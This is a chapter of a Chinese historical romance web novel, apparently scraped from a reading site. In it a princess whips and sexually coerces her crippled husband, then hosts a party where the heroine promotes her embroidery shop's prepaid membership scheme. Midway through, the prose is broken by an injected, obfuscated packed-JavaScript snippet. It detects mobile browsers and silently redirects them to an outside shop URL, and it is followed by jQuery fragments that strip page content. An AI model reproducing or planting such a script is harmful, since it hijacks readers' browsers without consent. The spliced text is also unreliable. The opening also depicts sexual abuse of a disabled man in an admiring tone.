29. 赏花

作品:《扬威

    侧院暗房内,陈曦手握一根黑色的马鞭,挑起面前那披散着头发的郎君的下巴。


    露出一张因缺了血色苍白得过分的脸来。


    那脸上一道道鞭痕冒着血珠,那人只别过头,咬着牙。


    显得秾丽脆弱极了。


    “又是这副姿态,怎么,看来本宫的好驸马对本宫还有些怨念,”陈曦凑近那郎君笑了笑“可惜了这张脸,谁也没想到,这样脸的主人竟是个残废。”


    她那双手重重压在崔昭的腿上,指尖用力碾过。


    崔昭的腿早已失去知觉,对陈曦的嘲讽充耳不闻。


    他这双腿本就因为陈曦所废,这无数个日日夜夜里他睁着眼,恨她恨得要命。


    陈曦见崔昭只别过头,不去看她。


    她来了兴致,坐在崔昭的腿上,一手将他下巴掰正,一手顺着他的胸膛往下。


    听着那一脸倔强郎君发出一声闷哼声,她得趣地伏在崔昭的耳边:“本宫倒是忘了,你只是腿残了,别处还好着呢。”


    骚/货,装什么清高。


    房内传出暗哑的低吟同暧昧的水声。


    过了良久,陈曦一脸餍足地推开房门,让守着的小厮给驸马好好清洗清洗。


    院中的丫鬟小厮们暗叹道,公主驸马感情就是好,驸马都到这般境地了,公主还不嫌弃他,三番五次来寻他呢。


    陈曦扶了扶金钗走至前厅,丫鬟恭敬地将那匣子呈给她。


    她打开捏着那封信一瞧,有趣,看来自己没看错人。


    风带着几朵海棠花花瓣拂过她细腻冷玉般的面庞。春光正好,院内海棠花若云霞,该到赏花的日子了。


    日落,杨微才回至府中,还未到院子里,就被李襄钰拉住。


    “杨姐姐,公主堂姐说是五日后要办个赏花宴,这是方才公主府上送来的请柬,那时书院正好放了春假,到时候我们一同前去。”


    接过李襄钰递来盖着红章的黄纸,杨微知这是公主给她抛出的橄榄枝。


    她心道这事成了,对李襄钰露出个浅笑来。


    有了陈曦这一大助力,还愁她的绛雪阁的新名号发扬不出去么?


    “今日姐姐这样高兴,可是太后娘娘寿礼已备好了?”


    李襄钰见杨微莞尔一笑,绕着她转了两周,觉着有些神奇。


    这个月她去书院早出晚归的,虽没见几面杨微,但每次见她都觉着杨姐姐怎么更瘦弱了些,脸上神色也不大好。


    杨姐姐为筹备太后娘娘的绣品耗了很多心血,她看在眼里。


    如今怎么忽然一扫疲态容光焕发了?


    听李襄钰问起,杨微心中谨慎,就算公主不嘱咐她也不会将今日之事泄露给他人。


    她亲昵地刮了刮李襄钰的鼻尖:“好妹妹,刺绣哪有这么快,现下不过也快到尾声,姐姐高兴不过是想着能休息一日赏赏花很不错。”


    感受着微凉的指尖碰了碰自己的鼻子,李襄钰一把抓住:“姐姐又闹我,我已不是小孩子了!”


    二人闹做一团。


    第四日了,陈昀坐在客栈的厢房里算着。


    他身上裹着一件大氅,手脚还是寒凉。


    四日前,还未到四更天,他便坐上了前往扬州的马车。


    书墨怕世子着凉,车内铺了一层厚厚的兽皮褥子,还挂了好几件冬衣,就连暖手炉都备了两个。


    他与世子同坐一车,穿的轻薄,面上暖得通红。反观陈昀披着裘衣捧着暖手炉,还是苍白虚弱之相。


    “世子您还是多穿些,您现在这副模样可见不了什么人。”


    书墨怕陈昀还是不在乎自己的身体,口上激着他。他逐渐摸清了世子的脾性,清楚只有这样讲他才会穿暖些。


    果然,听他讲后,陈昀又披上一件斗篷,把自己裹得像粽子般,他面色终于红润起来,书墨才舒了一口气。


    这四日里他们白日走晚上在客栈歇息,书墨倒是不累,只怕世子疲惫。


    此趟他雇了十八个镖师,六个车夫。一共六辆马车,除了世子与他坐的头车外,其余五辆装着些用锁锁住的红木箱子,箱子里都是世子私库里的宝贝。


    镖师晚上轮班,见几个身强体壮的镖师骑着马围着六辆马车,书墨才放下心来。


    他匆匆上街去医馆按徐太医的方子抓了些滋补的药,端着药回了客栈。


    推开世子厢房门,他看着陈昀又在坐在窗前,面色淡淡眼神空空。书墨快步上前合上窗:“药来了,世子您趁热喝。”


    一口饮下苦药,陈昀挥挥手让他退下。


    他躺在床上,心里再次算着,今日是第四日,自己已到青州,路途已将近一半。再过五日便是殿试,那时杨微还未寄出那封信,自己却已到扬州。


    他唇咧开,怎么看都是他陈昀先。


    裹在被子里,他睡得不安稳。


    杨微用过午饭换了一身淡青色的窄袖短衫同浅黄长裙。


    四月的京城还尚未完全回暖,她再披了件月白色绣花外袍。


    这一套的绣样全是绛雪阁内绣娘所绣,她精挑细选了几条布料,衬得绣纹更雅致精美了。


    戴上王爷第一日送她的碧玺耳环,抿了抿口脂,她揽镜自照。


    镜中娘子着浅色,这一身显得她冷白如玉,气质清绝。既已接过殿下的橄榄枝,她定要做足准备,确保万无一失。这一身绛雪阁衣裳便是她的计谋。


    坐上荣安王府的马车,李襄钰掀开帘子坐在她的身旁。


    她穿的清爽,一席水蓝色裙子配着及笄那日杨微赠与她的藕粉色披帛,玉雪可爱的面上笑着露出两个梨涡。


    杨微揽过她:“今日妹妹分外光彩照人,姐姐看了喜欢得紧呢。”


    又拿她找趣,杨姐姐怎么这般坏!


    李襄钰扑上前去便要挠她痒痒,见娘子们打打闹闹的,一侧的两个丫鬟也有些笑意。


    到了公主府,二人被女使领着穿过一条条游廊来到后院。


    海棠花开的正艳,风一吹便飘落几片在二人发间。


    说是赏花宴,却只有满院子的粉海棠,杨微快速扫视一周,殿下这般爱海棠么?


    她有些疑惑,面上只赞着这连片的海棠开的艳。


    耳边是李襄钰的气声:“传闻是驸马喜爱这花,不惜人力财力为驸马在整座府邸都种满了海棠,堂姐真是有情人。”


    有情人,杨微想到陈曦深深的双眼。


    她接过飘落在在眼前的一抹浅粉,殿下确实有情,那花触在手上,柔柔的。


    “见过杨娘子,襄钰妹妹。”


    院口进来几人,为首的张念竹跟二人问了声好,其余小娘子也纷纷上前问好。


    张念竹拉了拉身后的人,姜念才低着头走出来。


    “见过二位娘子。”


    她声音小如蚊吟,过去了快三月,她还未忘记那日自己做的蠢事。她没脸见杨娘子。


    没想着这姜娘子还是如此,杨微只对她微微一笑,正常问着好。她才不是记仇之人,过了有快四个月,姜娘子竟还怕成这样,胆子也太小了。


    另一边,张念竹眉间萦绕着一缕哀愁,她几次看向李襄钰,却又未开口。李襄钰自然察觉到她急迫的视线,但她只转过头去当没看着。


    之前自己方升至正班,张娘子就有意无意对她释放善意,还几次三番提及表兄。


    因此她早知张娘子对表兄有不一般的情愫。


    张娘子家世样貌品行皆佳,杨姐姐没来府上前,她还暗搓搓地在陈昀面前提过,可他总是当作没听着。几次过后,陈昀叫她专心课业,别想这些无关紧要的。


    她也知表兄无意,便不再提了。现下表兄有了心上人,她有些为难。


    可男女之情向来如此,哪有什么先来后到,喜欢便是喜欢不喜欢就是不喜欢。


    她知晓她担忧陈昀,自己又不能多嘴,心中对张念竹升起一丝愧疚之情。


    公主还未至,小娘子们聚在一起谈论着近日的趣事。


    忽然一个小娘子摸了摸李襄钰披帛上的绣蝶,惊奇:“我还以为这彩蝶是被海棠引来的,没想着是妹妹的披帛,好看极了,可是从奇绣坊买的?”


    “周姐姐你别糊涂了,奇绣坊如今改名后还增开一家,现下叫绛雪阁了。再说了如此好的刺绣,除了绛雪阁内的绣娘外还有谁能绣出?。”


    李襄钰拉着杨微,眼带笑意:“不对,我身上这件披帛并非绛雪阁所绣,绣她的人近在眼前。”


    她把杨微推向前,同时如数家珍地拿出随身带着的荷包同帕子。


    “你们好好瞧瞧,我早说了杨姐姐的手艺不俗,这些都是她为我所绣。”


    杨微被娘子们围在中心,脸上露出几分羞涩的笑来:“哪有妹妹说的这般夸张,要我说那绛雪阁绣娘绣技才算厉害。”


    她提了提外衫,让这些小娘子好好看清楚。


    这外衫由赵掌柜同几个老绣娘亲手所绣,绣技比杨微的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17256370|197569||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    还更成熟一分。


    小娘子们一看,纷纷讶然:“这玉兰好雅致。”


    “绛雪阁绣娘手真巧,她们如何做到绣样流光溢彩的?”


    “杨娘子莫自谦,你这般年纪一手绣技已是无比难得了。”


    她们赞叹着,羡慕着,聚在一处。


    “公主殿下驾到!”院口女使威声喊着。


    “本宫来迟了,诸位娘子在聊些何事如此开心?”


    众人转过身去,见陈曦身着一身孔雀蓝绸缎衣交领襦裙,外披着件深紫广绣衫,通身气派不似常人。


    小娘子们跪成一片,尊声请安。


    “都起来罢,襄钰妹妹,你这披帛不俗。”


    陈曦一眼便看到那中心的两位娘子。


    一人外披藕粉披帛鲜妍灵动,一人穿着月白色外衫,绣着些玉兰,神清玉秀。


    “回堂姐,我这披帛是杨娘子所绣,她手艺非凡,可不是一般绣娘能比的。”


    陈曦淡声夸着:“杨娘子绣技本宫也曾见过,确实非同一般。”


    她话锋又一转:“不知与本宫身上相比如何呢?”


    杨微连忙回:“殿下身上的绣纹华贵至此,小女子自是不敢攀比,敢问殿下从何得来。”


    一个照面间她就知晓陈曦身上这几件衣裳是赵掌柜她们所绣。


    “本宫这一身乃绛雪阁前些日子送至府上的。”


    绛雪阁何时能够上门送货了?


    院内小娘子们面面相觑,李襄钰疑问:“奇绣坊分明之前只能派丫鬟婢子们取绣品,现下竟能送到府上了么?”


    “非也给也,本宫只是于绛雪阁中定了些绣品,那掌柜说本宫花足了钱,现下为雪玉客,这般绣娘便可来府上定好花样再送来。”


    雪玉客,好新奇的词,她们还未听过。这些小娘子们顿时来了兴趣,却不敢再多问公主些什么。


    杨微开口:“前几日我去绛雪阁时那掌柜也跟我讲了此事,只我不过没花够银子,什么也没有。”


    “倒也不是什么看人估价,我详细一问才知是看银子估价。”


    几位娘子面露疑惑,何为看银子估价,钱花的多少还有不同么。


    杨微在一旁趁热打铁:“那雪玉客说是只给出十人名额,公主殿下算一个便只剩九个了,我打听到的是要一年花一千两黄金才能成为雪玉客,唯有雪玉客才享受绛雪阁绣娘去府上。”


    “一千两黄金,如此多,谁一次性能花这么多,就算是买一个台屏这样的大件也要不到百两金。”


    一旁有位小娘子嘀咕着。


    杨微也适当点了点头:“钱虽是有许多,那赵掌柜给我瞧了一瞧,那雪玉客不仅每年得两条十两黄金的帕子,还逢年过节都有一流绣娘绣的那些小玩意送至府上。”


    “如此看来雪玉客倒是赠的多,不过就算一月花一百两黄金,也要十月才能当上那雪玉客。”


    一小娘子思忖着。


    “无需如此,”陈曦眉间几分赞许,“本宫这一行头只花了不足十金,又将剩下的黄金直接存于店内,想买的时候派丫鬟去叫绣娘来便好,若账上有钱自会扣除。”


    “绛雪阁这招实在妙哉,我们这些小娘子虽存不到那雪玉客,但八百还是能存着的,说是一年存够八百两便有双面绣荷包送。”


    光一个双面绣荷包都要几十两银子了,在场的娘子都有些蠢蠢欲动起来。


    她们的月例大多都八十银上下,多的一百银,少的也有五、六十银。


    平日里有家中长辈操持打点,没什么可花的,再加上逢年过节长辈给的赏钱,这些年也攒了不少了,八百两还是拿得出来的。


    “我就存了八百两进去,掌柜说一年花足八百两就也有过节礼,这便是第二档,若没花到八百两只能买些小荷包绣帕花边之类,但比之前奇绣坊低了两成价格。”


    “若真像杨姐姐说的如此,那掌柜生意做得岂不是亏本生意?”李襄钰懵懂道。


    这傻丫头,做生意的哪有亏本的,不过都是买卖手段噱头罢了。


    杨微暗笑襄钰妹妹的天真,面上说:“亏本不至于,许是新店揽客法子。”


    见娘子们蠢蠢欲动,陈曦手捏着那日送来的帕子,轻咳一声,推波助澜:“正巧本宫城西那有一院子,花开的也极妙,诸位娘子可愿随本宫一同前去。”


    “那我们正好顺路去城西新开的那家绛雪阁一探究竟!”李襄钰来劲了,拉着杨微神情激动。